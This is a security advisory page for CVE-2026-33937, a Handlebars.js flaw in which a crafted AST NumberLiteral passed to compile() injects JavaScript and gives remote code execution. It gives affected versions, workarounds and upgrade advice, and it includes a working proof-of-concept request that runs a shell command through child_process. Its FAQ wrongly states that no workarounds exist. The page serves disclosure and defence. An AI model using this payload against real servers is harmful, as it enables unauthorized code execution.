CVE-2026-33937: Handlebars.js has JavaScript Injection via AST Type Confusion

Published Mar 27, 2026
·
Updated

Summary

Handlebars.compile() accepts a pre-parsed AST object in addition to a template string. The value field of a NumberLiteral AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to compile() can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.

Description

Handlebars.compile() accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in lib/handlebars/compiler/javascript-compiler.js emits NumberLiteral values verbatim:

javascript // Simplified representation of the vulnerable code path: // NumberLiteral.value is appended to the generated code without escaping compiledCode += numberLiteralNode.value;

Because the value is not wrapped in quotes or otherwise sanitized, passing a string such as {},{})) + process.getBuiltinModule('childprocess').execFileSync('id').toString() // as the value of a NumberLiteral causes the generated eval-ed code to break out of its intended context and execute arbitrary commands.

Any endpoint that deserializes user-controlled JSON and passes the result directly to Handlebars.compile() is exploitable.

Proof of Concept

Server-side Express application that passes req.body.text to Handlebars.compile():

Javascript import express from "express"; import Handlebars from "handlebars";

const app = express(); app.use(express.json());

app.post("/api/render", (req, res) => { let text = req.body.text; let template = Handlebars.compile(text); let result = template(); res.send(result); });

app.listen(2123);

POST /api/render HTTP/1.1 Content-Type: application/json Host: 127.0.0.1:2123

{ "text": { "type": "Program", "body": [ { "type": "MustacheStatement", "path": { "type": "PathExpression", "data": false, "depth": 0, "parts": ["lookup"], "original": "lookup", "loc": null }, "params": [ { "type": "PathExpression", "data": false, "depth": 0, "parts": [], "original": "this", "loc": null }, { "type": "NumberLiteral", "value": "{},{})) + process.getBuiltinModule('childprocess').execFileSync('id').toString() //", "original": 1, "loc": null } ], "escaped": true, "strip": { "open": false, "close": false }, "loc": null } ] } }

The response body will contain the output of the id command executed on the server.

Workarounds

- Validate input type before calling Handlebars.compile(): ensure the argument is always a string, never a plain object or JSON-deserialized value. javascript if (typeof templateInput !== 'string') { throw new TypeError('Template must be a string'); } - Use the Handlebars runtime-only build (handlebars/runtime) on the server if templates are pre-compiled at build time; compile() will be unavailable.

Other sources

Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, Handlebars.compile() accepts a pre-parsed AST object in addition to a template string. The value field of a NumberLiteral AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to compile() can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server. Version 4.7.9 fixes the issue. Some workarounds are available. Validate input type before calling Handlebars.compile(); ensure the argument is always a string, never a plain object or JSON-deserialized value. Use the Handlebars runtime-only build (handlebars/runtime) on the server if templates are pre-compiled at build time; compile() will be unavailable.

MITRE

Affected Software

3 affected componentsFixes available
npm/handlebars>=4.0.0<=4.7.8
4.7.9
Handlebarsjs Handlebars Node.js>=4.0.0<4.7.9
IBM API Connect V12 OnPrem<=All

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/handlebars to a version that resolves this vulnerability.

    Fixed in 4.7.9
  2. Upgrade

    Upgrade Handlebars to a version that resolves this vulnerability.

    Fixed in 4.7.9
  3. Configuration

    On the server, use the Handlebars runtime-only build (`handlebars/runtime`) when templates are pre-compiled at build time so that `Handlebars.compile()` will be unavailable.

    Handlebars (server-side rendering) Use Handlebars runtime-only build = handlebars/runtime
  4. Configuration

    Validate input type before calling `Handlebars.compile()`: ensure the argument passed to `Handlebars.compile()` is always a string and never a plain object or a JSON-deserialized value (since `compile()` accepts a pre-parsed AST object in versions 4.0.0 through 4.7.8).

    Express endpoint (/api/render) Input type validation before Handlebars.compile() = string-only

Event History

Mar 27, 2026
Advisory Published
via GitHub·06:19 PM
Data Sourced
via GitHub·06:19 PM
DescriptionSeverityWeaknessAffected Software
CVE Published
via MITRE·09:03 PM
Data Sourced
via MITRE·09:03 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·09:17 PM
RemedyDescriptionSeverityWeaknessAffected Software
Data Sourced
via Red Hat·10:03 PM
DescriptionSeverityAffected Software
Jul 7, 2026
Data Sourced
via IBM·12:00 AM
DescriptionAffected Software

Parent advisories

This vulnerability appears in the following advisories.

Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-33937?

CVE-2026-33937 is classified as a high severity vulnerability due to potential remote code execution risks.

2

How do I fix CVE-2026-33937?

To mitigate the risks associated with CVE-2026-33937, upgrade Handlebars to version 4.7.9 or later.

3

What software is affected by CVE-2026-33937?

CVE-2026-33937 affects Handlebars versions between 4.0.0 and 4.7.8.

4

What kind of attack can exploit CVE-2026-33937?

An attacker can exploit CVE-2026-33937 by supplying a crafted AST to the Handlebars.compile() function, leading to arbitrary code execution.

5

Are there any workarounds for CVE-2026-33937?

There are no specific workarounds recommended for CVE-2026-33937, so upgrading to the patched version is strongly advised.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203